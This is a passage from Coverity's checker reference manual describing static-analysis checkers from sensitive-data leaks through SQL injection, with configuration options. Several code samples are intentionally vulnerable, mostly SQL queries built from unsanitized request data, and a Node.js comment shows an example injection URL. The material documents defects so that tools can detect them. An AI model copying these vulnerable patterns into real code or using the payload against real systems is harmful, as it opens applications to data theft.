sensitive_source(T <parameter>, SensitiveDataType.SDT_<source_type>)
In the function signatures above, SDT_<source_type>
is one of the types listed in Table 4.1, “Sensitive Data Source types”, and
<parameter> is treated as sensitive data. The
following example uses SensitiveDataType.SDT_PASSWORD to model a
function that returns sensitive password data or stores such data in a
parameter:
Object returnsPassword() {
sensitive_source(SensitiveDataType.SDT_PASSWORD);
// ...
}
void storesPasswordInParam(Object arg1) {
sensitive_source(arg1, SensitiveDataType.SDT_PASSWORD);
// ...
}Additionally, you can use the @SensitiveData annotation in place
of the primitives where applicable. For examples, see @SensitiveData.
Although the analysis includes built-in models for many common sensitive data sources, it is possible to find more issues by specifying additional and application-specific sources of sensitive data.
Methods that return sensitive data, object properties that contain sensitive data, and callback function whose parameters contain sensitive data can be modeled by using the "tainted_data" directive. For more detail, see Section E.1.4.2.31, “tainted_data directive”.
Although the analysis includes built-in models for many common sensitive data sources, it is possible to find more issues by specifying additional and application-specific sources of sensitive data.
Methods that return sensitive data can be modeled by using the
Coverity.Primitives.SensitiveSource primitives. For more
detail, see Section 6.2.1.1, “Modeling Sources of Sensitive Data in C# or Visual Basic”.
The Coverity.Attributes.SensitiveData attribute can also be
applied to program elements that should be considered sensitive. For more
detail, see Section 6.2.2.2, “SensitiveData Attributes”.
The following table describes the source types you can use when modeling sensitive data sources.
Table 4.1. Sensitive Data Source types
Java SensitiveDataType enum value | JavaScript sensitive data "taint_kind" | C# and Visual Basic SensitiveDataType enum value | Description |
|---|---|---|---|
| SDT_DECRYPTED | "decrypted" | Decrypted | Data that was decrypted. |
| SDT_PASSWORD | "password" | Password | A typical password. |
| SDT_TOKEN | "token" | Token | A generated password, for example, from a token. |
| SDT_SESSION_ID | "session_id" | SessionId | A session ID. |
| SDT_MOBILE_ID | "mobile_id" | MobileId | The ID of a mobile device. |
| SDT_USER_ID | "user_id" | UserId | The ID of a user. |
| SDT_NATIONAL_ID | "national_id" | NationalId | The ID of a person, for example, a social security number. |
| SDT_PERSISTENT_SECRET | "persistent_secret" | PersistentSecret | An internal secret, for example, private keys. |
| SDT_TRANSIENT_SECRET | "transient_secret" | TransientSecret | A temporary secret, for example, salts, nonces, and init vectors. |
| SDT_SEED | "seed" | Seed | A seed, for example, a cryptographic pseudo-random number generator (CPRNG). |
| SDT_CARDHOLDER_DATA | "cardholder_data" | CardholderData | Credit card information, for example, a credit card number or a PAN. |
| SDT_ACCOUNT | "account" | Account | Financial account information, for example, a bank account number. |
| SDT_TRANSACTION | "transaction" | Transaction | Transaction information, for example, statements. |
| SDT_MEDICAL | "medical" | Medical | General medical info, for example, lab results or medical history. |
| SDT_BIOMETRIC | "biometric" | Biometric | Biometric information, for example, fingerprints, DNA, or a retinal scan. |
| SDT_GEOGRAPHICAL | "geographical" | Geographical | Geographical information, for example, GPS, IP, or cell tower information. |
| SDT_EXCEPTION | "exception" | Exception | A message generated from an exception. |
| SDT_SOURCE_CODE | "source_code" | SourceCode | Information about source code, for example, a stack trace. |
| SDT_CONFIGURATION | "configuration" | Configuration | A configuration, for example, a configuration property. |
| SDT_BUG | "bug" | Bug | A known bug. |
| SDT_FILEPATH | "filepath" | Filepath | A path on the filesystem. |
| SDT_DIRECTORY_LISTING | "directory_listing" | DirectoryListing | A directory listing. |
| SDT_SYSTEM_MEMORY | "system_memory" | SystemMemory | Information about system memory usage. |
| SDT_SYSTEM_USER | "system_user" | SystemUser | System user data. |
| SDT_PLATFORM | "platform" | Platform | Information about the runtime platform. |
Coverity also models a number of sensitive data sinks by default. You can use Coverity sink model primitives to model additional SENSITIVE_DATA_LEAK sinks.
To model a function as a sensitive data sink, add the appropriate sink primitive as listed in Table 4.2, “Sensitive Data Sink Types”.
In Java, the primitives are defined in the class
com.coverity.primitives.SecurityPrimitives and take an
Object as an argument, for example:
public class MyClass {
// The SENSITIVE_DATA_LEAK checker will report defects if the
// argument is sensitive data.
void leaky_function(java.lang.String data) {
com.coverity.primitives.SecurityPrimitives.filesystem_sink(data);
}
}In JavaScript, sinks are modeled by directives with the "sink_for_checker" field set to "SENSITIVE_DATA_LEAK", and the "sink_kind" field specifying the type of sink. For more detail, see Section E.1.4.2.30, “sink_for_checker directive”. For example:
{
"sink_for_checker" : "SENSITIVE_DATA_LEAK",
"sink_kind" : "transit",
"sink" : {
"input" : "arg1",
"to_callsite" : {
"call_on" : {
"read_path_off_global" : "sendData"
}
}
}
}In C#, the primitives are defined in the class
Coverity.Primitives.Security and take an Object as an
argument, for example:
namespace TheCode {
public class MyClass {
// The SENSITIVE_DATA_LEAK checker will report defects if the
// argument is sensitive data.
public void LeakyFunction(string data) {
Coverity.Primitives.Security.SDLFilesystemSink(data);
}
}
}The same primitives can be used in Visual Basic:
Namespace TheCode
Public Class MyClass
' The SENSITIVE_DATA_LEAK checker will report defects if the
' argument is sensitive data.
Public Sub LeakyFunction(data As String)
Coverity.Primitives.Security.SDLFilesystemSink(data)
End Sub
End Class
End NamespaceTable 4.2. Sensitive Data Sink Types
| Java primitive |
SENSITIVE_DATA_LEAK SinkKind | C# primitive | Description |
|---|---|---|---|
| cookie_sink | cookie | SDLCookieSink | Where information is sent to an unreliable end point in a cookie. |
| database_sink | database | SDLDatabaseSink | Where information is stored to a database. |
| filesystem_sink | filesystem | SDLFileSystemSink | Where information is stored to a filesystem. |
| logging_sink | logging | SDLLoggingSink | Where information is logged. |
| registry_sink | registry | SDLRegistrySink | Where information is stored in the Windows registry. |
| transit_sink | transit | SDLTransitSink | Where information is sent over an unreliable connection. |
| ui_sink | ui | SDLUISink | Where information is sent to an unreliable end point. |
This section describes one or more events produced by the SENSITIVE_DATA_LEAK checker.
remediation - Information about ways to address the potential
security vulnerability.
sensitive_data_leak - Main event: A sensitive data
leak.
Dataflow events
alias - Sensitive data propagated from one variable to
another inside a function.
annotated_sensitive_data - A field, method, or parameter that
is annotated to contain sensitive data.
argument - An argument to a method used sensitive
data.
attr - Sensitive data was stored as a Web application
attribute that has page, request, session, or application scope.
call - A method call returned sensitive data.
concat - Sensitive data was concatenated with other
data.
field_def - Sensitive data passed through a field.
field_read - A read of sensitive data from a field occurred.
field_write - A write of sensitive data from a field
occurred.
inferred_sensitive_data - A field, method, or parameter that
the analysis inferred to contain sensitive data.
map_write - A write of sensitive data to a map
occurred.
map_read - A read of sensitive data from a map
occurred.
parm_in - This method parameter was passed sensitive
data.
parm_out - This method parameter stored sensitive
data.
returned - A method call returned sensitive data.
returning_value - The current method returned sensitive
data.
sanitizer - Sensitive data passed through a sanitizer.
sensitive_data - The method from which sensitive data
originated.
SERVLET_ATOMICITY finds instances of atomicity violations on calls to
getAttribute and setAttribute on the objects of the
following types:
javax.servlet.ServletContext
javax.servlet.http.HttpSession
javax.servlet.jsp.JspContext
This checker reports a defect when a getAttribute and
setAttribute on the same attribute occurs outside of a locked
context.
This section provides one or more SERVLET_ATOMICITY examples.
In the following example, assume that two
separate requests are invoking recordTemperatureStats with
newTemps
112 and 120. The call to getAttribute can occur
simultaneously, resulting in the current, highest recorded temperature
(curTemp) being the same for both the threads. Depending on the
scheduling, the new highest recorded temperature could be 112 at the end of
the execution. This outcome is an error because the temperature, 120, is
lost. This issue can be addressed by synchronizing on an appropriate object and ensuring
that the highest recorded temperature is 120 at the end.
public void recordTemperatureStats(Integer newTemp, HttpSession session) {
Integer curTemp = (Integer) session.getAttribute("highestRecordedTemp");
if (newTemp > curTemp)
session.setAttribute("highestRecordedTemp", newTemp);
}This section describes one or more SERVLET_ATOMICITY options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
SERVLET_ATOMICITY:attribute_init_race:<boolean> - When
this Java option is set to true,
the checker reports atomicity violations when attribute is not present in the
thread-shared object. Because this violation occurs during initialization, it is
likely that developers will tolerate this defect. Defaults to
SERVLET_ATOMICITY:attribute_init_race:false. (When
enabled, the defect is reported under attribute_init_race
subcategory in Coverity Connect.)
SERVLET_ATOMICITY:report_attribute_removal:<boolean> -
When this Java option is set to
true, the checker reports defects involving a
removeAttribute call or a setAttribute
call passing a null attribute value. Defaults to
SERVLET_ATOMICITY:report_attribute_removal:false.
SESSION_FIXATION finds session fixation vulnerabilities, which arise when uncontrolled dynamic data is passed into an API that sets the session token in use by the application. In Java web applications, each container might expose an API to set the session token. While custom session tokens are also possible, they are not currently examined by this checker.
Disabled by default: SESSION_FIXATION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable SESSION_FIXATION
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more SESSION_FIXATION examples.
In the following example, the string
sessionId is tainted. It is passed to two identified sinks:
Request.setRequestedSessionId and Session.setId.
protected void changeSessionID(Request request, Response response, String sessionId, String newSessionID, Session catalinaSession) {
lifecycle.fireLifecycleEvent("Before session migration", catalinaSession);
request.setRequestedSessionId(newSessionID);
catalinaSession.setId(newSessionID);
...
}If an attacker can influence a victim to use an attacker-provided value (for example, through a cross-site request forgery attack), the attacker can set the victim's session to a known value. If the victim then authenticates to the application using the attacker-provided session token, the attacker can impersonate the victim by re-using the same session token. (The session token is what the application uses to uniquely identify different users.)
This section describes one or more events produced by the SESSION_FIXATION checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
Supported Languages: C, C++, Objective-C, Objective-C++
SIGN_EXTENSION finds many cases where a value is sign-extended when converting from a smaller data type to a larger data type, but it appears that sign extension is not intended because the quantity is essentially unsigned. Most commonly, this happens in code that does a 32-bit endian swap, storing the result in a 64-bit data type. The intermediate 32-bit result must be explicitly cast to an unsigned type in order to suppress the sign extension.
Specifically, it finds cases where the following is true:
An unsigned quantity is implicitly promoted to a wider signed quantity.
An arithmetic operation is performed (such as a left-shift) that might lead
to the sign bit being set to 1.
That value is implicitly converted to an even wider type, which causes a possibly unintended sign extension.
The consequence of a sign extension is the result value has all of its high bits set to 1, and consequently is interpreted as a very large value. If this is not intended, then the code will likely misbehave in some application-specific way.
Enabled by default: SIGN_EXTENSION is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more SIGN_EXTENSION examples.
In the following example, the intent is to
interpret the bytes p[0..3] as an unsigned integer in little-endian format
(the first byte, p[0], is the least significant):
unsigned long readLittleEndian(unsigned char *p)
{
return p[0] |
(p[1] << 8) |
(p[2] << 16) |
(p[3] << 24);
}However, the code is subtly wrong if unsigned long is larger than
int, as is the case on 64-bit Linux systems. The left-hand argument in
p[3] << 24 has type unsigned char, but it is
promoted to int before being used, and that is the result type of the
shift. If the high bit of p[3] is set (that is, p[3]is greater
than 127), then the resulting integer value has its high bit set as well as a result of
the left-shift operation. This value is then bitwise-OR'd with the other byte values.
Finally, the int value with its high bit set is converted to unsigned
long, which requires sign-extending the value first (so that if it is
converted back to a signed type it will be restored to its original value).
The language rules vary by operator, but in general, arguments to arithmetic
operations are first promoted, which means the first type from
among int,
unsigned int, long, and unsigned long that can
represent all of the values in the original type is selected as the promoted type. In
practice, for typical type sizes, char and short types (both
signed and unsigned) are promoted to int, and all other types are unchanged
by promotion. For further information, see the C++03 standard, sections 4.5, 5/9, and
(e.g.) 5.9/2, or the C99 standard, sections 6.3.1.1, 6.3.1.8 and (e.g.) 6.5.7/3.
Consequently, the following program, using the previous definition for
readLittleEndian, prints "0xFFFFFFFF80010203" rather than
the expected "0x80010203" on a machine where int is 32 bits
and long is 64 bits:
#include <stdio.h> // printf
int main()
{
unsigned char bytes[4] = { 0x03, 0x02, 0x01, 0x80 };
unsigned long result = readLittleEndian(bytes);
printf("0x%lX\n", result);
} To correct this problem, add an explicit cast to an unsigned type. Although
there are several possible locations for the cast, one example is: unsigned long readLittleEndianFixed(unsigned char *p)
{
return (unsigned int)( p[0] |
(p[1] << 8) |
(p[2] << 16) |
(p[3] << 24));
}This section describes one or more SIGN_EXTENSION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
SIGN_EXTENSION:require_unsigned_dest:<boolean> - When
this option is set to true, the
result type of the sign-extending cast must be unsigned in order to be reported
as a defect. Defaults to
SIGN_EXTENSION:require_unsigned_dest:false
SINGLETON_RACE checker finds many cases where a singleton object can handle multiple requests simultaneously with different threads (for example, a servlet), but the code that handles the requests does not safely synchronize access to instance or static fields of the class. The checker reports these thread-unsafe updates as defects.
The checker reports defects in the following classes:
A class extends org.springframework.web.servlet.mvc.Controller,
which indicates that it is a Spring MVC controller.
A class has the annotation
org.springframework.stereotype.Controller, which is another way
of specifying a Spring MVC controller.
A class extends javax.servlet.Servlet.
This section provides one or more SINGLETON_RACE examples.
In the following example, it is possible for
two separate requests to read the value of i at exactly the same time and
therefore increase the value of i by only one when the expected result is
to increase its value by the number of requests (in this case, two).
Similar problems occur with updates to static fields from a singleton class. In the
example, j contains a race condition.
These races can be addressed in a couple of different ways:
Using synchronization constructs, which can be expensive in the context of Web applications.
Redesigning the class so as not to save any state within it and maintaining all data as part of the request or through other application-specific mechanisms.
class SampleObject {
int n;
void foo() {
n++;
}
}
@Controller
class ExampleController {
SampleObject i;
static int j;
@RequestMapping("/process")
String process () {
i.foo(); //defect here
j--, //defect here
return "test";
}
}
This section describes one or more events produced by the SINGLETON_RACE checker.
unsafe_modification: A this.<fieldname> (or
<Classname>.<fieldname>, if static) is modified
without proper synchronization. This member might be written by multiple threads
that are serving simultaneous requests, leading to unpredictable
behavior.
thread_unsafe_modification: A <fieldname> is
modified without proper synchronization.
Supported Languages: C, C++, Objective-C, Objective-C++
DEPRECATED as of
version 7.0: SIZECHECK finds many instances of pointer assigned memory
allocations where the pointer's target type is larger than the block allocated. For
example, if a pointer to a long is assigned a block the size of an
int. Note that checker options can expand
the scope of defects that this checker finds.
If a pointer points to a block which is too small, then attempts to use it could reference out-of-bounds memory, which can potentially cause heap corruption, program crashes, and other serious problems.
SIZECHECK false positives are the result of either an incorrect calculation of the
amount of memory allocated, or the amount of memory that should have been allocated. If
SIZECHECK incorrectly analyzes a function that returns heap-allocated memory, you can
correctly model the function's abstract behavior using a library call. If a misunderstood context-specific property causes a false
positive, you can annotate that property with a //coverity
comment. See Suppressing false positives with code
annotations.
Disabled by default: SIZECHECK is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
In the following example, the allocation is too small for the pointer's target type :
sizeof(*ptr) was probably intended.
struct sizecheck_example_t {
int n;
float f;
char s[4];
void *p;
};
struct sizecheck_example_t *sizecheck_example(void) {
struct sizecheck_example_t *ptr;
ptr = (sizecheck_example_t *)malloc( sizeof( ptr ) );
return ptr;
}This section describes one or more SIZECHECK options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
SIZECHECK:improper_new:<boolean> - Finds defects where the wrong syntax
for new() is used. Defaults to
SIZECHECK:improper_new:false
For example, the following code allocates one byte, and assigns it the value 32:
char *p = new char(32);
SIZECHECK:incorrect_multiplication:<boolean> -
Finds defects where the memory
allocated is calculated using a multiple of a constant that is not the same size
as the pointer's target type. Defaults to
SIZECHECK:incorrect_multiplication:true
For example:
long *p = malloc(len * sizeof(int));
Because sizeof(int) is not the same as sizeof(long),
a defect is reported.
SIZECHECK:ampersand_in_size:<boolean> - Finds defects where the memory
allocated is calculated using the bitwise AND operator (&) and
two quantities. Defaults to
SIZECHECK:ampersand_in_size:true
For example:
int *p = malloc(len & sizeof(int));
This defect is likely the result of & and *
being adjacent on the keyboard.
This section describes one or more events produced by the SIZECHECK checker.
Supported Languages: C, C++, Objective-C, Objective-C++
SIZEOF_MISMATCH finds combinations of pointers and
sizeof expressions that appear to be mismatched. When a pointer and
sizeof expression occur together, the sizeof expression is
usually the size of memory that the pointer points to.
The checker also reports defects in a limited number of cases where a
size_t argument is expected but no sizeof expression is
provided. This occurs when the semantics of a function are known and the
size_t argument is expected to be the size of memory to which a pointer
points, as well as in a small number of cases where it appears that the
size_t argument is intended to be the size of some pointed-to
memory.
This checker reports the following combinations of pointer and sizeof
expressions:
function arguments and return values
extraneous sizeof expression in pointer arithmetic
The following example contains a common mismatch between a two function arguments: a
pointer and a sizeof expression (where sizeof(*ptr) was
intended, instead of sizeof(ptr)):
memcpy(&obj, ptr, sizeof(ptr))
The following example contains a mismatch between a pointer and a size_t
on a 64-bit machine where no sizeof expression is provided (and either the
size of a pointer (8) or a pointer to an integer (*i) was intended):
int **i; memset(i, 0, 4);
When an offset is added to a pointer, the value of the offset is automatically scaled
up (multiplied) by the size of the object that the pointer points to. It is incorrect to
explicitly scale up by multiplying the offset by a sizeof expression. This
leads to the offset being scaled up by the square of the offset amount.
It is also incorrect to explicitly scale down the difference of
two pointers by dividing that difference by a sizeof expression. Both types
of constructs are reported as defects.
The following figure graphically represents scaling for pointer arithmetic:
short array[5]; short *p = array; // == &array[0] // p -> b b // b b // b b // b b // b b short *q = p + 3; // == &p[3] == &array[3] // b b // b b // b b // q -> b b // b b short *r = p + 3 * sizeof(short); // == &p[3 * sizeof(short)] == &p[3 * 2] == &p[6] == &array[6] // b b // b b // b b // b b // b b // ? ? out of bounds // r -> ? ? out of bounds
The preceding types of defects can be detected directly within pointer-arithmetic
expressions, or indirectly when the difference of two pointers is compared to a
sizeof expression.
Except in specific buffer-overrun cases, it is not possible to conclude with certainty that any given defect that this checker reports constitutes a bug. In most cases, it is possible that some unusual manipulation was intentional. Consequently, you should carefully inspect all SIZEOF_MISMATCH defects before you attempt to fix them. In many cases, the defect report includes the checker’s best guess as to what the code was meant to do and what change might fix it. These suggestions are educated guesses, and only suggestions. You must determine what the code does, if there is really a defect, and if so, what the correct fix is.
Enabled by default: SIZEOF_MISMATCH is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more SIZEOF_MISMATCH examples.
In the following example, only 4 or 8 bytes of
the 100-byte object buf are cleared. This particular defect is also
reported by the BAD_SIZEOF checker:
struct buffer {
char b[100];
};
void f() {
struct buffer buf;
memset(&buf, 0, sizeof(&buf)); /* Defect: should have been "sizeof(buf)" */
}In the following example, only 4 or 8 bytes are allocated for a 100-byte object:
struct buffer {
char b[100];
};
void f() {
struct buffer *p = (struct buffer *)malloc(sizeof(struct buffer *));
/* Defect: should be "sizeof(struct buffer)" */
}In the following example, a defect is not reported because even though the
sizeof(short) argument to f does not match the
&ps argument, it does match the &s
argument:
void f(void *, void **, size_t);
void g() {
short s;
short *ps;
f(&s, &ps, sizeof(short));
}In the following example, the pointer p is incremented by 10000 bytes,
not 100 bytes as intended:
struct buffer {
char b[100];
};
void f(struct buffer *p) {
p += sizeof(struct buffer); /* Defect: "sizeof(struct buffer)" should be "1" */
}In the following example, it is likely incorrect to compare the difference between
q and p to the size of the type that they point to,
because the pointer difference is automatically scaled down by that amount:
struct buffer {
char b[100];
};
void f(struct buffer *p, struct buffer *q) {
if (q – p > 3 * sizeof(*p)) /* Defect: "* sizeof(*p)" is extraneous */
printf("q too far ahead of p\n");
}In the following example, the difference between cur and
array is automatically scaled down by sizeof(struct
buffer), yielding the position within the array, so further dividing this
value by sizeof(struct buffer) always yields zero:
struct buffer {
char b[100];
};
struct buffer array[30];
void f(struct buffer *cur) {
size_t pos = (cur – array) / sizeof(struct buffer); /* Defect: "/ sizeof(struct buffer)" is extraneous */
}This section describes one or more SIZEOF_MISMATCH options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
SIZEOF_MISMATCH:strict_memcpy:<boolean> - If this
option is set to
true, the checker reports a defect for a mismatch between
the function arguments of memcpy(dest, src, n). The
mismatch can occur between n and dest or between
n and src. Defaults to
SIZEOF_MISMATCH:strict_memcpy:false
This section describes one or more events produced by the SIZEOF_MISMATCH checker.
suspicious_sizeof - The subsequent line combines a
sizeof expression and a pointer argument or return value in a
questionable way.
suspicious_pointer_arithmetic - The subsequent line adds or
subtracts a sizeof expression to or from a pointer expression in a
questionable way.
suspicious_comparison - The subsequent line compares a
pointer difference expression to a sizeof expression in a
questionable way.
suspicious_division - The subsequent line divides a pointer
difference expression by a sizeof expression in a questionable
way.
Supported Languages: C, C++, Objective-C, Objective-C++
SLEEP finds many cases where a function that
sleeps is called while a lock/mutex is held. This will prevent other threads that are
trying to acquire the same lock from continuing until the lock is released, which might
take a long time, leading to performance degradation or even deadlock. SLEEP
will not report anything until at least one primitive function is modeled as sleeping.
Even the POSIX sleep function is not modeled that way. The utility of this
checker varies greatly by code base, as does the right set of "sleeping" functions.
Incorrect derivations of blocking functions, such as a function which blocks
occasionally but not in all cases, are the most common causes of false positives.
You can correct this with a model correctly indicating
the function's behavior or with an annotation to
suppress the block model. The annotation should suppress the blocks
property.
To report any results, the SLEEP checker requires modeling by
using the __coverity_sleep__() primitive. For more information, see Section 6.1.11.1, “Adding models for concurrency checking”.
Disabled by default: SLEEP is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Concurrency checker enablement: To enable SLEEP along with other concurrency checkers that are disabled by default, use the
--concurrency option to cov-analyze.
This section provides one or more SLEEP examples.
void mutex_acquire(int *p) {
__coverity_exclusive_lock_acquire__(*p);
}
void mutex_release(int *p) {
__coverity_exclusive_lock_release__(*p);
}
int my_accept(int i) {
__coverity_sleep__();
return i;
}
int *connection_count_lock;
int fd, socket_fd, connection_count;
// BUG (locks are exclusive)
// Thread one enters here
int block_example( ) {
mutex_acquire(connection_count_lock); // Lock acquired too soon
fd = my_accept(socket_fd); // Can wait for a long time
connection_count++;
mutex_release(connection_count_lock); // Now info() can run
return fd;
}
// Thread two enters here
void info( ) {
mutex_acquire(connection_count_lock); /* Cannot proceed,
thread one holds lock */
printf("The connection count is %d\n", connection_count);
mutex_release(connection_count_lock);
}
// NOT BUG (recursive lock)
void rec_mutex_acquire(int *p) {
__coverity_recursive_lock_acquire__(*p);
}
void rec_mutex_release(int *p) {
__coverity_recursive_lock_acquire__(*p);
}
int example2A( ) {
rec_mutex_acquire(connection_count_lock);
fd = my_accept(socket_fd);
connection_count++;
rec_mutex_release(connection_count_lock);
return fd;
}
void example2B( ) {
rec_mutex_acquire(connection_count_lock);
printf("The connection count is %d\n", connection_count);
rec_mutex_release(connection_count_lock);
}
Supported Languages: Java, C#, Visual Basic
The SQL_NOT_CONSTANT checker reports any concatenation of a non-constant value into an SQL command or query string. It is a best practice to use parameterized queries for incorporating dynamic values, whether they are from trusted data sources or not. The parameterization prevents any malicious or rogue values from altering the intent of the SQL command. Using the SQL_NOT_CONSTANT checker is one way to protect your code against SQL injection vulnerabilities.
If the dynamic value is determined by analysis to come from a distrusted source, a high impact SQLI defect is reported.
Disabled by default: SQL_NOT_CONSTANT is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
The main event of an SQL_NOT_CONSTANT defect is the concatenation of an SQL command and a dynamic value. The defect describes where this command is passed to a database API.
This section provides one or more SQL_NOT_CONSTANT examples.
The code snippet below constructs a PreparedStatement to execute an SQL query.
This is not the recommended use of a PreparedStatement because it concatenates the
dynamic values directly into the command string instead of using its
parameterization feature. The checker reports three defects here: the concatenation
of the groupID variable, the concatenation of the
parentFolderId variable, and the concatenation of the
name variable.
Connection dbConnection = null;
PreparedStatement stmt = null;
ResultSet result = null;
try {
dbConnection = DataAccess.getConnection();
stmt = dbConnection.prepareStatement(
"select folderId from DLFolder where groupId = " + groupId +
" and parentFolderId = " + parentFolderId +
" and name = '" + name + "'");
result = ps.executeQuery();
}
// ...The following C# method uses a non-constant id parameter to construct
an SQL query.
public SqlDataAdapter getIdAdapter(String id)
{
String command = "SELECT * FROM TABLE WHERE id =" + id;
const string connectionString = "...";
return new SqlDataAdapter(command, connectionString);
} The following Visual Basic subroutine uses a non-constant addrName
parameter to build an SQL update command.
Public Sub IncrAddrCount(addrName as String)
Dim sqlCon = New SqlConnection("Data source=....")
sqlCon.Open()
Dim sqlText as String = "UPDATE addrTable SET clickCount " & _
"WHERE addrName = " + addrName
Dim cmd = New SqlCommand(sqlText, sqlCon)
cmd.ExecuteNonQuery()
End Sub Supported Languages: C#, Java, JavaScript, PHP, Python, Swift, Visual Basic
SQLI finds many instances where a method that interprets a string as SQL is given an argument that might be under the control of an attacker.
Interpreting strings from untrusted sources as SQL can allow a malicious user to exfiltrate (that is, steal), corrupt, or destroy information in a database that is being queried. Typically, this error is caused by using unsafe methods to construct SQL statements: concatenating unsanitized strings directly into the query, or sanitizing untrusted input in an incorrect way.
By default, the SQLI checker treats values as though they are tainted if they come from the network (either through sockets or HTTP requests). The checker can also be configured to treat values from the filesystem or the database as though they are tainted (see Section 4.197.4, “Options”).
For more information on the risks and consequences of SQL injection, see Chapter 7, Security Reference. For detailed information about the potential security vulnerabilities found by this checker, see Section 7.1.4.1, “SQL Injection (SQLi)”.
Disabled by default: SQLI is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
For Swift, SQLI is enabled by default.
Web application security checker enablement: To enable SQLI
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable SQLI
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
Python support: Security checkers are supported for Python 2.7.x only.
An SQLI defect shows a dataflow path by which untrusted (tainted) data makes its way into a database function that executes an SQL statement or into an SQL query. From there, it flows into an SQL (or HQL, or similar) interpreter, which thereby becomes vulnerable to attack.
Java/C#/Visual Basic
The path starts at a source of untrusted data, such as input from a network socket or a method call that returns an HTTP request parameter or the parameter to a function that a framework populates with such data. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The main event of the defect (typically the first one shown in the UI) shows the tainted data concatenated into an SQL string, but in some cases the main event shows the tainted data flowing directly into an SQL interpreter. The final part of the path shows the data flowing into an SQL-related function or SQL interpreter.
JavaScript
The main event shows where untrusted data, such as data from a HTTP request or network socket, flows into an database API. The supporting events show the origin of the untrusted data. For example, the untrusted data might be returned from a callee or passed in by a framework. Other supporting events show the flow of the untrusted data into the database API. These events may follow the untrusted data through function calls. A second set of events (if present) show additional contextual information.
This section provides one or more SQLI examples.
In the following example, tainted data from an HTTP request is concatenated to an SQL query in an unsafe manner.
using System.Data;
using System.Data.SqlClient;
using System.Web;
public class SQLI {
string connection;
HttpRequest req;
DataSet dataSet;
public void test() {
var da = new SqlDataAdapter("SELECT * FROM users WHERE name = "
+ req["name"], connection); // Defect
da.Fill(dataSet);
}
}For examples, see Section 7.1.4.1, “SQL Injection (SQLi)”.
The following code example shows a vulnerable Node.js Web application using the Express framework.
const express = require("express");
const app = express();
function getConnectionConfig() {
//...
}
app.get("/",
function run(req, res, next) { // Defect
const id = req.query.id;
const query = `select * from User where userid=${id}`;
const sql = require("mssql");
sql.connect(getConnectionConfig()).then(
function() {
new sql.Request().query(query).then(
function (recordSet) {
//...
});
});
res.send("Done");
});
app.listen(1337, function() {
console.log("Express listening...");
});
// example exploit: http://127.0.0.1:1337/?id=1+or+2>1The following code executes an SQL query built by concatenating tainted data from the HTTP request.
$table = $_GET['table'];
$conn->query("SELECT * FROM $table");The following Python code builds a query by concatenating tainted data from the HTTP request and passing it to a SQL interpreter.
from django.conf.urls import url
def build_query(request):
queryString = "SELECT id, name FROM " + request.body + " WHERE 1"
urlpatterns = [
url(r'index', build_query)
]import Foundation
import UIKit
func selectUser() {
var db: OpaquePointer? = nil;
let fileURL = try! FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
.appendingPathComponent("Database.sqlite")
if sqlite3_open(fileURL.path, &db) != SQLITE_OK {
print("error opening database")
}
let store = NSUbiquitousKeyValueStore()
let code: String = "SELECT * from USERS where id = " + store.string(forKey: "id")! + ";"
if sqlite3_exec(db, code, nil, nil, nil) != SQLITE_OK {
let errmsg = String(cString: sqlite3_errmsg(db)!)
print("error : \(errmsg)")
}
}In the following example, tainted data from an HTTP request is concatenated to an SQL query in an unsafe manner.
Imports System.Data
Imports System.Data.SqlClient
Imports System.Web
Public Class SQLI
Dim connection As String
Dim req As HttpRequest
Dim dataSet As DataSet
Public Sub test()
Dim da = new SqlDataAdapter("SELECT * FROM users WHERE name = " + req("name"), connection) 'Defect
da.Fill(dataSet)
End SubThis section describes one or more SQLI options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
SQLI:distrust_all:<boolean> - [JavaScript and
Swift only] Setting this option to true is equivalent to setting all
trust_* checker options for this checker to false. Defaults to
SQLI:distrust_all:false.
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of the
cov-analyze command is set to high.
SQLI:report_nosink_errors:<boolean> - [C#,
Java, JavaScript, Visual Basick, and Swift] Setting this option to true reports an SQLI issue when tainted data is
concatenated with a string that appears to be an SQL query. Defaults to
SQLI:report_nosink_errors:true.
SQLI:trust_mobile_other_app:<boolean> - [Java
and Swift only] Setting this option to true
causes the analysis to trust data that is received from any mobile application
that does not require a permission to communicate with the current application
component. Defaults to
SQLI:trust_mobile_other_app:false.
Setting this checker option will override the global
--trust-mobile-other-app and
--distrust-mobile-other-app command line options.
SQLI:trust_mobile_same_app:<boolean> - [Java
and Swift only] Setting this option to false
